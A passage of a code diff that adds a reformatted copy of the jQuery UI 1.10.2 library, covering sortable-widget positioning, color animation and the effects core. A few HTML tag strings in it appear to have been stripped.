!o.options.disabled && + (u.push([ + t.isFunction(o.options.items) + ? o.options.items.call( + o.element[0], + e, + {item: this.currentItem}, + ) + : t(o.options.items, o.element), + o, + ]), + this.containers.push(o)); + for (i = u.length - 1; i >= 0; i--) + for ( + a = u[i][1], r = u[i][0], s = 0, l = r.length; + l > s; + s++ + ) + (h = t(r[s])), + h.data(this.widgetName + '-item', a), + c.push({ + item: h, + instance: a, + width: 0, + height: 0, + left: 0, + top: 0, + }); + }, + refreshPositions: function (e) { + this.offsetParent && + this.helper && + (this.offset.parent = this._getParentOffset()); + var i, s, n, o; + for (i = this.items.length - 1; i >= 0; i--) + (s = this.items[i]), + (s.instance !== this.currentContainer && + this.currentContainer && + s.item[0] !== this.currentItem[0]) || + ((n = this.options.toleranceElement + ? t(this.options.toleranceElement, s.item) + : s.item), + e || + ((s.width = n.outerWidth()), + (s.height = n.outerHeight())), + (o = n.offset()), + (s.left = o.left), + (s.top = o.top)); + if ( + this.options.custom && + this.options.custom.refreshContainers + ) + this.options.custom.refreshContainers.call(this); + else + for (i = this.containers.length - 1; i >= 0; i--) + (o = this.containers[i].element.offset()), + (this.containers[i].containerCache.left = o.left), + (this.containers[i].containerCache.top = o.top), + (this.containers[i].containerCache.width = + this.containers[i].element.outerWidth()), + (this.containers[i].containerCache.height = + this.containers[i].element.outerHeight()); + return this; + }, + _createPlaceholder: function (e) { + e = e || this; + var i, + s = e.options; + (s.placeholder && s.placeholder.constructor !== String) || + ((i = s.placeholder), + (s.placeholder = { + element: function () { + var s = e.currentItem[0].nodeName.toLowerCase(), + n = t(e.document[0].createElement(s)) + .addClass( + i || + e.currentItem[0].className + + ' ui-sortable-placeholder', + ) + .removeClass('ui-sortable-helper'); + return ( + 'tr' === s + ? n.append(" ") + : 'img' === s && + n.attr('src', e.currentItem.attr('src')), + i || n.css('visibility', 'hidden'), + n + ); + }, + update: function (t, n) { + (!i || s.forcePlaceholderSize) && + (n.height() || + n.height( + e.currentItem.innerHeight() - + parseInt( + e.currentItem.css( + 'paddingTop', + ) || 0, + 10, + ) - + parseInt( + e.currentItem.css( + 'paddingBottom', + ) || 0, + 10, + ), + ), + n.width() || + n.width( + e.currentItem.innerWidth() - + parseInt( + e.currentItem.css( + 'paddingLeft', + ) || 0, + 10, + ) - + parseInt( + e.currentItem.css( + 'paddingRight', + ) || 0, + 10, + ), + )); + }, + })), + (e.placeholder = t( + s.placeholder.element.call(e.element, e.currentItem), + )), + e.currentItem.after(e.placeholder), + s.placeholder.update(e, e.placeholder); + }, + _contactContainers: function (s) { + var n, + o, + a, + r, + h, + l, + c, + u, + d, + p, + f = null, + g = null; + for (n = this.containers.length - 1; n >= 0; n--) + if ( + !t.contains( + this.currentItem[0], + this.containers[n].element[0], + ) + ) + if ( + this._intersectsWith( + this.containers[n].containerCache, + ) + ) { + if ( + f && + t.contains( + this.containers[n].element[0], + f.element[0], + ) + ) + continue; + (f = this.containers[n]), (g = n); + } else + this.containers[n].containerCache.over && + (this.containers[n]._trigger( + 'out', + s, + this._uiHash(this), + ), + (this.containers[n].containerCache.over = 0)); + if (f) + if (1 === this.containers.length) + this.containers[g].containerCache.over || + (this.containers[g]._trigger( + 'over', + s, + this._uiHash(this), + ), + (this.containers[g].containerCache.over = 1)); + else { + for ( + a = 1e4, + r = null, + p = f.floating || i(this.currentItem), + h = p ? 'left' : 'top', + l = p ? 'width' : 'height', + c = this.positionAbs[h] + this.offset.click[h], + o = this.items.length - 1; + o >= 0; + o-- + ) + t.contains( + this.containers[g].element[0], + this.items[o].item[0], + ) && + this.items[o].item[0] !== this.currentItem[0] && + (!p || + e( + this.positionAbs.top + + this.offset.click.top, + this.items[o].top, + this.items[o].height, + )) && + ((u = this.items[o].item.offset()[h]), + (d = !1), + Math.abs(u - c) > + Math.abs(u + this.items[o][l] - c) && + ((d = !0), (u += this.items[o][l])), + a > Math.abs(u - c) && + ((a = Math.abs(u - c)), + (r = this.items[o]), + (this.direction = d ? 'up' : 'down'))); + if (!r && !this.options.dropOnEmpty) return; + if (this.currentContainer === this.containers[g]) + return; + r + ? this._rearrange(s, r, null, !0) + : this._rearrange( + s, + null, + this.containers[g].element, + !0, + ), + this._trigger('change', s, this._uiHash()), + this.containers[g]._trigger( + 'change', + s, + this._uiHash(this), + ), + (this.currentContainer = this.containers[g]), + this.options.placeholder.update( + this.currentContainer, + this.placeholder, + ), + this.containers[g]._trigger( + 'over', + s, + this._uiHash(this), + ), + (this.containers[g].containerCache.over = 1); + } + }, + _createHelper: function (e) { + var i = this.options, + s = t.isFunction(i.helper) + ? t( + i.helper.apply(this.element[0], [ + e, + this.currentItem, + ]), + ) + : 'clone' === i.helper + ? this.currentItem.clone() + : this.currentItem; + return ( + s.parents('body').length || + t( + 'parent' !== i.appendTo + ? i.appendTo + : this.currentItem[0].parentNode, + )[0].appendChild(s[0]), + s[0] === this.currentItem[0] && + (this._storedCSS = { + width: this.currentItem[0].style.width, + height: this.currentItem[0].style.height, + position: this.currentItem.css('position'), + top: this.currentItem.css('top'), + left: this.currentItem.css('left'), + }), + (!s[0].style.width || i.forceHelperSize) && + s.width(this.currentItem.width()), + (!s[0].style.height || i.forceHelperSize) && + s.height(this.currentItem.height()), + s + ); + }, + _adjustOffsetFromHelper: function (e) { + 'string' == typeof e && (e = e.split(' ')), + t.isArray(e) && (e = {left: +e[0], top: +e[1] || 0}), + 'left' in e && + (this.offset.click.left = e.left + this.margins.left), + 'right' in e && + (this.offset.click.left = + this.helperProportions.width - + e.right + + this.margins.left), + 'top' in e && + (this.offset.click.top = e.top + this.margins.top), + 'bottom' in e && + (this.offset.click.top = + this.helperProportions.height - + e.bottom + + this.margins.top); + }, + _getParentOffset: function () { + this.offsetParent = this.helper.offsetParent(); + var e = this.offsetParent.offset(); + return ( + 'absolute' === this.cssPosition && + this.scrollParent[0] !== document && + t.contains( + this.scrollParent[0], + this.offsetParent[0], + ) && + ((e.left += this.scrollParent.scrollLeft()), + (e.top += this.scrollParent.scrollTop())), + (this.offsetParent[0] === document.body || + (this.offsetParent[0].tagName && + 'html' === + this.offsetParent[0].tagName.toLowerCase() && + t.ui.ie)) && + (e = {top: 0, left: 0}), + { + top: + e.top + + (parseInt( + this.offsetParent.css('borderTopWidth'), + 10, + ) || 0), + left: + e.left + + (parseInt( + this.offsetParent.css('borderLeftWidth'), + 10, + ) || 0), + } + ); + }, + _getRelativeOffset: function () { + if ('relative' === this.cssPosition) { + var t = this.currentItem.position(); + return { + top: + t.top - + (parseInt(this.helper.css('top'), 10) || 0) + + this.scrollParent.scrollTop(), + left: + t.left - + (parseInt(this.helper.css('left'), 10) || 0) + + this.scrollParent.scrollLeft(), + }; + } + return {top: 0, left: 0}; + }, + _cacheMargins: function () { + this.margins = { + left: parseInt(this.currentItem.css('marginLeft'), 10) || 0, + top: parseInt(this.currentItem.css('marginTop'), 10) || 0, + }; + }, + _cacheHelperProportions: function () { + this.helperProportions = { + width: this.helper.outerWidth(), + height: this.helper.outerHeight(), + }; + }, + _setContainment: function () { + var e, + i, + s, + n = this.options; + 'parent' === n.containment && + (n.containment = this.helper[0].parentNode), + ('document' === n.containment || + 'window' === n.containment) && + (this.containment = [ + 0 - + this.offset.relative.left - + this.offset.parent.left, + 0 - + this.offset.relative.top - + this.offset.parent.top, + t( + 'document' === n.containment + ? document + : window, + ).width() - + this.helperProportions.width - + this.margins.left, + (t( + 'document' === n.containment + ? document + : window, + ).height() || + document.body.parentNode.scrollHeight) - + this.helperProportions.height - + this.margins.top, + ]), + /^(document|window|parent)$/.test(n.containment) || + ((e = t(n.containment)[0]), + (i = t(n.containment).offset()), + (s = 'hidden' !== t(e).css('overflow')), + (this.containment = [ + i.left + + (parseInt(t(e).css('borderLeftWidth'), 10) || + 0) + + (parseInt(t(e).css('paddingLeft'), 10) || 0) - + this.margins.left, + i.top + + (parseInt(t(e).css('borderTopWidth'), 10) || + 0) + + (parseInt(t(e).css('paddingTop'), 10) || 0) - + this.margins.top, + i.left + + (s + ? Math.max(e.scrollWidth, e.offsetWidth) + : e.offsetWidth) - + (parseInt(t(e).css('borderLeftWidth'), 10) || + 0) - + (parseInt(t(e).css('paddingRight'), 10) || 0) - + this.helperProportions.width - + this.margins.left, + i.top + + (s + ? Math.max(e.scrollHeight, e.offsetHeight) + : e.offsetHeight) - + (parseInt(t(e).css('borderTopWidth'), 10) || + 0) - + (parseInt(t(e).css('paddingBottom'), 10) || 0) - + this.helperProportions.height - + this.margins.top, + ])); + }, + _convertPositionTo: function (e, i) { + i || (i = this.position); + var s = 'absolute' === e ? 1 : -1, + n = + 'absolute' !== this.cssPosition || + (this.scrollParent[0] !== document && + t.contains( + this.scrollParent[0], + this.offsetParent[0], + )) + ? this.scrollParent + : this.offsetParent, + o = /(html|body)/i.test(n[0].tagName); + return { + top: + i.top + + this.offset.relative.top * s + + this.offset.parent.top * s - + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollTop() + : o + ? 0 + : n.scrollTop()) * + s, + left: + i.left + + this.offset.relative.left * s + + this.offset.parent.left * s - + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollLeft() + : o + ? 0 + : n.scrollLeft()) * + s, + }; + }, + _generatePosition: function (e) { + var i, + s, + n = this.options, + o = e.pageX, + a = e.pageY, + r = + 'absolute' !== this.cssPosition || + (this.scrollParent[0] !== document && + t.contains( + this.scrollParent[0], + this.offsetParent[0], + )) + ? this.scrollParent + : this.offsetParent, + h = /(html|body)/i.test(r[0].tagName); + return ( + 'relative' !== this.cssPosition || + (this.scrollParent[0] !== document && + this.scrollParent[0] !== this.offsetParent[0]) || + (this.offset.relative = this._getRelativeOffset()), + this.originalPosition && + (this.containment && + (e.pageX - this.offset.click.left < + this.containment[0] && + (o = + this.containment[0] + + this.offset.click.left), + e.pageY - this.offset.click.top < + this.containment[1] && + (a = + this.containment[1] + + this.offset.click.top), + e.pageX - this.offset.click.left > + this.containment[2] && + (o = + this.containment[2] + + this.offset.click.left), + e.pageY - this.offset.click.top > + this.containment[3] && + (a = + this.containment[3] + + this.offset.click.top)), + n.grid && + ((i = + this.originalPageY + + Math.round( + (a - this.originalPageY) / n.grid[1], + ) * + n.grid[1]), + (a = this.containment + ? i - this.offset.click.top >= + this.containment[1] && + i - this.offset.click.top <= + this.containment[3] + ? i + : i - this.offset.click.top >= + this.containment[1] + ? i - n.grid[1] + : i + n.grid[1] + : i), + (s = + this.originalPageX + + Math.round( + (o - this.originalPageX) / n.grid[0], + ) * + n.grid[0]), + (o = this.containment + ? s - this.offset.click.left >= + this.containment[0] && + s - this.offset.click.left <= + this.containment[2] + ? s + : s - this.offset.click.left >= + this.containment[0] + ? s - n.grid[0] + : s + n.grid[0] + : s))), + { + top: + a - + this.offset.click.top - + this.offset.relative.top - + this.offset.parent.top + + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollTop() + : h + ? 0 + : r.scrollTop()), + left: + o - + this.offset.click.left - + this.offset.relative.left - + this.offset.parent.left + + ('fixed' === this.cssPosition + ? -this.scrollParent.scrollLeft() + : h + ? 0 + : r.scrollLeft()), + } + ); + }, + _rearrange: function (t, e, i, s) { + i + ? i[0].appendChild(this.placeholder[0]) + : e.item[0].parentNode.insertBefore( + this.placeholder[0], + 'down' === this.direction + ? e.item[0] + : e.item[0].nextSibling, + ), + (this.counter = this.counter ? ++this.counter : 1); + var n = this.counter; + this._delay(function () { + n === this.counter && this.refreshPositions(!s); + }); + }, + _clear: function (t, e) { + this.reverting = !1; + var i, + s = []; + if ( + (!this._noFinalSort && + this.currentItem.parent().length && + this.placeholder.before(this.currentItem), + (this._noFinalSort = null), + this.helper[0] === this.currentItem[0]) + ) { + for (i in this._storedCSS) + ('auto' === this._storedCSS[i] || + 'static' === this._storedCSS[i]) && + (this._storedCSS[i] = ''); + this.currentItem + .css(this._storedCSS) + .removeClass('ui-sortable-helper'); + } else this.currentItem.show(); + for ( + this.fromOutside && + !e && + s.push(function (t) { + this._trigger( + 'receive', + t, + this._uiHash(this.fromOutside), + ); + }), + (!this.fromOutside && + this.domPosition.prev === + this.currentItem + .prev() + .not('.ui-sortable-helper')[0] && + this.domPosition.parent === + this.currentItem.parent()[0]) || + e || + s.push(function (t) { + this._trigger('update', t, this._uiHash()); + }), + this !== this.currentContainer && + (e || + (s.push(function (t) { + this._trigger('remove', t, this._uiHash()); + }), + s.push( + function (t) { + return function (e) { + t._trigger( + 'receive', + e, + this._uiHash(this), + ); + }; + }.call(this, this.currentContainer), + ), + s.push( + function (t) { + return function (e) { + t._trigger( + 'update', + e, + this._uiHash(this), + ); + }; + }.call(this, this.currentContainer), + ))), + i = this.containers.length - 1; + i >= 0; + i-- + ) + e || + s.push( + function (t) { + return function (e) { + t._trigger( + 'deactivate', + e, + this._uiHash(this), + ); + }; + }.call(this, this.containers[i]), + ), + this.containers[i].containerCache.over && + (s.push( + function (t) { + return function (e) { + t._trigger( + 'out', + e, + this._uiHash(this), + ); + }; + }.call(this, this.containers[i]), + ), + (this.containers[i].containerCache.over = 0)); + if ( + (this.storedCursor && + (this.document + .find('body') + .css('cursor', this.storedCursor), + this.storedStylesheet.remove()), + this._storedOpacity && + this.helper.css('opacity', this._storedOpacity), + this._storedZIndex && + this.helper.css( + 'zIndex', + 'auto' === this._storedZIndex + ? '' + : this._storedZIndex, + ), + (this.dragging = !1), + this.cancelHelperRemoval) + ) { + if (!e) { + for ( + this._trigger('beforeStop', t, this._uiHash()), + i = 0; + s.length > i; + i++ + ) + s[i].call(this, t); + this._trigger('stop', t, this._uiHash()); + } + return (this.fromOutside = !1), !1; + } + if ( + (e || this._trigger('beforeStop', t, this._uiHash()), + this.placeholder[0].parentNode.removeChild( + this.placeholder[0], + ), + this.helper[0] !== this.currentItem[0] && + this.helper.remove(), + (this.helper = null), + !e) + ) { + for (i = 0; s.length > i; i++) s[i].call(this, t); + this._trigger('stop', t, this._uiHash()); + } + return (this.fromOutside = !1), !0; + }, + _trigger: function () { + t.Widget.prototype._trigger.apply(this, arguments) === !1 && + this.cancel(); + }, + _uiHash: function (e) { + var i = e || this; + return { + helper: i.helper, + placeholder: i.placeholder || t([]), + position: i.position, + originalPosition: i.originalPosition, + offset: i.positionAbs, + item: i.currentItem, + sender: e ? e.element : null, + }; + }, + }); + })(jQuery), + (function (t, e) { + var i = 'ui-effects-'; + (t.effects = {effect: {}}), + (function (t, e) { + function i(t, e, i) { + var s = u[e.type] || {}; + return null == t + ? i || !e.def + ? null + : e.def + : ((t = s.floor ? ~~t : parseFloat(t)), + isNaN(t) + ? e.def + : s.mod + ? (t + s.mod) % s.mod + : 0 > t + ? 0 + : t > s.max + ? s.max + : t); + } + function s(i) { + var s = l(), + n = (s._rgba = []); + return ( + (i = i.toLowerCase()), + f(h, function (t, o) { + var a, + r = o.re.exec(i), + h = r && o.parse(r), + l = o.space || 'rgba'; + return h + ? ((a = s[l](h)), + (s[c[l].cache] = a[c[l].cache]), + (n = s._rgba = a._rgba), + !1) + : e; + }), + n.length + ? ('0,0,0,0' === n.join() && + t.extend(n, o.transparent), + s) + : o[i] + ); + } + function n(t, e, i) { + return ( + (i = (i + 1) % 1), + 1 > 6 * i + ? t + 6 * (e - t) * i + : 1 > 2 * i + ? e + : 2 > 3 * i + ? t + 6 * (e - t) * (2 / 3 - i) + : t + ); + } + var o, + a = + 'backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor', + r = /^([\-+])=\s*(\d+\.?\d*)/, + h = [ + { + re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, + parse: function (t) { + return [t[1], t[2], t[3], t[4]]; + }, + }, + { + re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, + parse: function (t) { + return [ + 2.55 * t[1], + 2.55 * t[2], + 2.55 * t[3], + t[4], + ]; + }, + }, + { + re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/, + parse: function (t) { + return [ + parseInt(t[1], 16), + parseInt(t[2], 16), + parseInt(t[3], 16), + ]; + }, + }, + { + re: /#([a-f0-9])([a-f0-9])([a-f0-9])/, + parse: function (t) { + return [ + parseInt(t[1] + t[1], 16), + parseInt(t[2] + t[2], 16), + parseInt(t[3] + t[3], 16), + ]; + }, + }, + { + re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, + space: 'hsla', + parse: function (t) { + return [t[1], t[2] / 100, t[3] / 100, t[4]]; + }, + }, + ], + l = (t.Color = function (e, i, s, n) { + return new t.Color.fn.parse(e, i, s, n); + }), + c = { + rgba: { + props: { + red: {idx: 0, type: 'byte'}, + green: {idx: 1, type: 'byte'}, + blue: {idx: 2, type: 'byte'}, + }, + }, + hsla: { + props: { + hue: {idx: 0, type: 'degrees'}, + saturation: {idx: 1, type: 'percent'}, + lightness: {idx: 2, type: 'percent'}, + }, + }, + }, + u = { + byte: {floor: !0, max: 255}, + percent: {max: 1}, + degrees: {mod: 360, floor: !0}, + }, + d = (l.support = {}), + p = t('

')[0], + f = t.each; + (p.style.cssText = 'background-color:rgba(1,1,1,.5)'), + (d.rgba = p.style.backgroundColor.indexOf('rgba') > -1), + f(c, function (t, e) { + (e.cache = '_' + t), + (e.props.alpha = {idx: 3, type: 'percent', def: 1}); + }), + (l.fn = t.extend(l.prototype, { + parse: function (n, a, r, h) { + if (n === e) + return ( + (this._rgba = [null, null, null, null]), + this + ); + (n.jquery || n.nodeType) && + ((n = t(n).css(a)), (a = e)); + var u = this, + d = t.type(n), + p = (this._rgba = []); + return ( + a !== e && ((n = [n, a, r, h]), (d = 'array')), + 'string' === d + ? this.parse(s(n) || o._default) + : 'array' === d + ? (f(c.rgba.props, function (t, e) { + p[e.idx] = i(n[e.idx], e); + }), + this) + : 'object' === d + ? (n instanceof l + ? f(c, function (t, e) { + n[e.cache] && + (u[e.cache] = + n[e.cache].slice()); + }) + : f(c, function (e, s) { + var o = s.cache; + f(s.props, function (t, e) { + if (!u[o] && s.to) { + if ( + 'alpha' === t || + null == n[t] + ) + return; + u[o] = s.to(u._rgba); + } + u[o][e.idx] = i( + n[t], + e, + !0, + ); + }), + u[o] && + 0 > + t.inArray( + null, + u[o].slice( + 0, + 3, + ), + ) && + ((u[o][3] = 1), + s.from && + (u._rgba = s.from( + u[o], + ))); + }), + this) + : e + ); + }, + is: function (t) { + var i = l(t), + s = !0, + n = this; + return ( + f(c, function (t, o) { + var a, + r = i[o.cache]; + return ( + r && + ((a = + n[o.cache] || + (o.to && o.to(n._rgba)) || + []), + f(o.props, function (t, i) { + return null != r[i.idx] + ? (s = + r[i.idx] === a[i.idx]) + : e; + })), + s + ); + }), + s + ); + }, + _space: function () { + var t = [], + e = this; + return ( + f(c, function (i, s) { + e[s.cache] && t.push(i); + }), + t.pop() + ); + }, + transition: function (t, e) { + var s = l(t), + n = s._space(), + o = c[n], + a = + 0 === this.alpha() + ? l('transparent') + : this, + r = a[o.cache] || o.to(a._rgba), + h = r.slice(); + return ( + (s = s[o.cache]), + f(o.props, function (t, n) { + var o = n.idx, + a = r[o], + l = s[o], + c = u[n.type] || {}; + null !== l && + (null === a + ? (h[o] = l) + : (c.mod && + (l - a > c.mod / 2 + ? (a += c.mod) + : a - l > c.mod / 2 && + (a -= c.mod)), + (h[o] = i((l - a) * e + a, n)))); + }), + this[n](h) + ); + }, + blend: function (e) { + if (1 === this._rgba[3]) return this; + var i = this._rgba.slice(), + s = i.pop(), + n = l(e)._rgba; + return l( + t.map(i, function (t, e) { + return (1 - s) * n[e] + s * t; + }), + ); + }, + toRgbaString: function () { + var e = 'rgba(', + i = t.map(this._rgba, function (t, e) { + return null == t ? (e > 2 ? 1 : 0) : t; + }); + return ( + 1 === i[3] && (i.pop(), (e = 'rgb(')), + e + i.join() + ')' + ); + }, + toHslaString: function () { + var e = 'hsla(', + i = t.map(this.hsla(), function (t, e) { + return ( + null == t && (t = e > 2 ? 1 : 0), + e && + 3 > e && + (t = Math.round(100 * t) + '%'), + t + ); + }); + return ( + 1 === i[3] && (i.pop(), (e = 'hsl(')), + e + i.join() + ')' + ); + }, + toHexString: function (e) { + var i = this._rgba.slice(), + s = i.pop(); + return ( + e && i.push(~~(255 * s)), + '#' + + t + .map(i, function (t) { + return ( + (t = (t || 0).toString(16)), + 1 === t.length ? '0' + t : t + ); + }) + .join('') + ); + }, + toString: function () { + return 0 === this._rgba[3] + ? 'transparent' + : this.toRgbaString(); + }, + })), + (l.fn.parse.prototype = l.fn), + (c.hsla.to = function (t) { + if (null == t[0] || null == t[1] || null == t[2]) + return [null, null, null, t[3]]; + var e, + i, + s = t[0] / 255, + n = t[1] / 255, + o = t[2] / 255, + a = t[3], + r = Math.max(s, n, o), + h = Math.min(s, n, o), + l = r - h, + c = r + h, + u = 0.5 * c; + return ( + (e = + h === r + ? 0 + : s === r + ? (60 * (n - o)) / l + 360 + : n === r + ? (60 * (o - s)) / l + 120 + : (60 * (s - n)) / l + 240), + (i = 0 === l ? 0 : 0.5 >= u ? l / c : l / (2 - c)), + [Math.round(e) % 360, i, u, null == a ? 1 : a] + ); + }), + (c.hsla.from = function (t) { + if (null == t[0] || null == t[1] || null == t[2]) + return [null, null, null, t[3]]; + var e = t[0] / 360, + i = t[1], + s = t[2], + o = t[3], + a = 0.5 >= s ? s * (1 + i) : s + i - s * i, + r = 2 * s - a; + return [ + Math.round(255 * n(r, a, e + 1 / 3)), + Math.round(255 * n(r, a, e)), + Math.round(255 * n(r, a, e - 1 / 3)), + o, + ]; + }), + f(c, function (s, n) { + var o = n.props, + a = n.cache, + h = n.to, + c = n.from; + (l.fn[s] = function (s) { + if ( + (h && !this[a] && (this[a] = h(this._rgba)), + s === e) + ) + return this[a].slice(); + var n, + r = t.type(s), + u = + 'array' === r || 'object' === r + ? s + : arguments, + d = this[a].slice(); + return ( + f(o, function (t, e) { + var s = u['object' === r ? t : e.idx]; + null == s && (s = d[e.idx]), + (d[e.idx] = i(s, e)); + }), + c ? ((n = l(c(d))), (n[a] = d), n) : l(d) + ); + }), + f(o, function (e, i) { + l.fn[e] || + (l.fn[e] = function (n) { + var o, + a = t.type(n), + h = + 'alpha' === e + ? this._hsla + ? 'hsla' + : 'rgba' + : s, + l = this[h](), + c = l[i.idx]; + return 'undefined' === a + ? c + : ('function' === a && + ((n = n.call(this, c)), + (a = t.type(n))), + null == n && i.empty + ? this + : ('string' === a && + ((o = r.exec(n)), + o && + (n = + c + + parseFloat( + o[2], + ) * + ('+' === + o[1] + ? 1 + : -1))), + (l[i.idx] = n), + this[h](l))); + }); + }); + }), + (l.hook = function (e) { + var i = e.split(' '); + f(i, function (e, i) { + (t.cssHooks[i] = { + set: function (e, n) { + var o, + a, + r = ''; + if ( + 'transparent' !== n && + ('string' !== t.type(n) || (o = s(n))) + ) { + if ( + ((n = l(o || n)), + !d.rgba && 1 !== n._rgba[3]) + ) { + for ( + a = + 'backgroundColor' === i + ? e.parentNode + : e; + ('' === r || + 'transparent' === r) && + a && + a.style; + + ) + try { + (r = t.css( + a, + 'backgroundColor', + )), + (a = a.parentNode); + } catch (h) {} + n = n.blend( + r && 'transparent' !== r + ? r + : '_default', + ); + } + n = n.toRgbaString(); + } + try { + e.style[i] = n; + } catch (h) {} + }, + }), + (t.fx.step[i] = function (e) { + e.colorInit || + ((e.start = l(e.elem, i)), + (e.end = l(e.end)), + (e.colorInit = !0)), + t.cssHooks[i].set( + e.elem, + e.start.transition(e.end, e.pos), + ); + }); + }); + }), + l.hook(a), + (t.cssHooks.borderColor = { + expand: function (t) { + var e = {}; + return ( + f( + ['Top', 'Right', 'Bottom', 'Left'], + function (i, s) { + e['border' + s + 'Color'] = t; + }, + ), + e + ); + }, + }), + (o = t.Color.names = + { + aqua: '#00ffff', + black: '#000000', + blue: '#0000ff', + fuchsia: '#ff00ff', + gray: '#808080', + green: '#008000', + lime: '#00ff00', + maroon: '#800000', + navy: '#000080', + olive: '#808000', + purple: '#800080', + red: '#ff0000', + silver: '#c0c0c0', + teal: '#008080', + white: '#ffffff', + yellow: '#ffff00', + transparent: [null, null, null, 0], + _default: '#ffffff', + }); + })(jQuery), + (function () { + function i(e) { + var i, + s, + n = e.ownerDocument.defaultView + ? e.ownerDocument.defaultView.getComputedStyle( + e, + null, + ) + : e.currentStyle, + o = {}; + if (n && n.length && n[0] && n[n[0]]) + for (s = n.length; s--; ) + (i = n[s]), + 'string' == typeof n[i] && + (o[t.camelCase(i)] = n[i]); + else for (i in n) 'string' == typeof n[i] && (o[i] = n[i]); + return o; + } + function s(e, i) { + var s, + n, + a = {}; + for (s in i) + (n = i[s]), + e[s] !== n && + (o[s] || + ((t.fx.step[s] || !isNaN(parseFloat(n))) && + (a[s] = n))); + return a; + } + var n = ['add', 'remove', 'toggle'], + o = { + border: 1, + borderBottom: 1, + borderColor: 1, + borderLeft: 1, + borderRight: 1, + borderTop: 1, + borderWidth: 1, + margin: 1, + padding: 1, + }; + t.each( + [ + 'borderLeftStyle', + 'borderRightStyle', + 'borderBottomStyle', + 'borderTopStyle', + ], + function (e, i) { + t.fx.step[i] = function (t) { + (('none' !== t.end && !t.setAttr) || + (1 === t.pos && !t.setAttr)) && + (jQuery.style(t.elem, i, t.end), + (t.setAttr = !0)); + }; + }, + ), + t.fn.addBack || + (t.fn.addBack = function (t) { + return this.add( + null == t + ? this.prevObject + : this.prevObject.filter(t), + ); + }), + (t.effects.animateClass = function (e, o, a, r) { + var h = t.speed(o, a, r); + return this.queue(function () { + var o, + a = t(this), + r = a.attr('class') || '', + l = h.children ? a.find('*').addBack() : a; + (l = l.map(function () { + var e = t(this); + return {el: e, start: i(this)}; + })), + (o = function () { + t.each(n, function (t, i) { + e[i] && a[i + 'Class'](e[i]); + }); + }), + o(), + (l = l.map(function () { + return ( + (this.end = i(this.el[0])), + (this.diff = s(this.start, this.end)), + this + ); + })), + a.attr('class', r), + (l = l.map(function () { + var e = this, + i = t.Deferred(), + s = t.extend({}, h, { + queue: !1, + complete: function () { + i.resolve(e); + }, + }); + return ( + this.el.animate(this.diff, s), + i.promise() + ); + })), + t.when.apply(t, l.get()).done(function () { + o(), + t.each(arguments, function () { + var e = this.el; + t.each(this.diff, function (t) { + e.css(t, ''); + }); + }), + h.complete.call(a[0]); + }); + }); + }), + t.fn.extend({ + addClass: (function (e) { + return function (i, s, n, o) { + return s + ? t.effects.animateClass.call( + this, + {add: i}, + s, + n, + o, + ) + : e.apply(this, arguments); + }; + })(t.fn.addClass), + removeClass: (function (e) { + return function (i, s, n, o) { + return arguments.length > 1 + ? t.effects.animateClass.call( + this, + {remove: i}, + s, + n, + o, + ) + : e.apply(this, arguments); + }; + })(t.fn.removeClass), + toggleClass: (function (i) { + return function (s, n, o, a, r) { + return 'boolean' == typeof n || n === e + ? o + ? t.effects.animateClass.call( + this, + n ? {add: s} : {remove: s}, + o, + a, + r, + ) + : i.apply(this, arguments) + : t.effects.animateClass.call( + this, + {toggle: s}, + n, + o, + a, + ); + }; + })(t.fn.toggleClass), + switchClass: function (e, i, s, n, o) { + return t.effects.animateClass.call( + this, + {add: i, remove: e}, + s, + n, + o, + ); + }, + }); + })(), + (function () { + function s(e, i, s, n) { + return ( + t.isPlainObject(e) && ((i = e), (e = e.effect)), + (e = {effect: e}), + null == i && (i = {}), + t.isFunction(i) && ((n = i), (s = null), (i = {})), + ('number' == typeof i || t.fx.speeds[i]) && + ((n = s), (s = i), (i = {})), + t.isFunction(s) && ((n = s), (s = null)), + i && t.extend(e, i), + (s = s || i.duration), + (e.duration = t.fx.off + ? 0 + : 'number' == typeof s + ? s + : s in t.fx.speeds + ? t.fx.speeds[s] + : t.fx.speeds._default), + (e.complete = n || i.complete), + e + ); + } + function n(e) { + return !e || 'number' == typeof e || t.fx.speeds[e] + ? !0 + : 'string' != typeof e || t.effects.effect[e] + ? t.isFunction(e) + ? !0 + : 'object' != typeof e || e.effect + ? !1 + : !0 + : !0; + } + t.extend(t.effects, { + version: '1.10.2', + save: function (t, e) { + for (var s = 0; e.length > s; s++) + null !== e[s] && t.data(i + e[s], t[0].style[e[s]]); + }, + restore: function (t, s) { + var n, o; + for (o = 0; s.length > o; o++) + null !== s[o] && + ((n = t.data(i + s[o])), + n === e && (n = ''), + t.css(s[o], n)); + }, + setMode: function (t, e) { + return ( + 'toggle' === e && + (e = t.is(':hidden') ? 'show' : 'hide'), + e + ); + }, + getBaseline: function (t, e) { + var i, s; + switch (t[0]) { + case 'top': + i = 0; + break; + case 'middle': + i = 0.5; + break; + case 'bottom': + i = 1; + break; + default: + i = t[0] / e.height; + } + switch (t[1]) { + case 'left': + s = 0; + break; + case 'center': + s = 0.5; + break; + case 'right': + s = 1; + break; + default: + s = t[1] / e.width; + } + return {x: s, y: i}; + }, + createWrapper: function (e) { + if (e.parent().is('.ui-effects-wrapper')) + return e.parent(); + var i = { + width: e.outerWidth(!0), + height: e.outerHeight(!0), + float: e.css('float'), + }, + s = t('

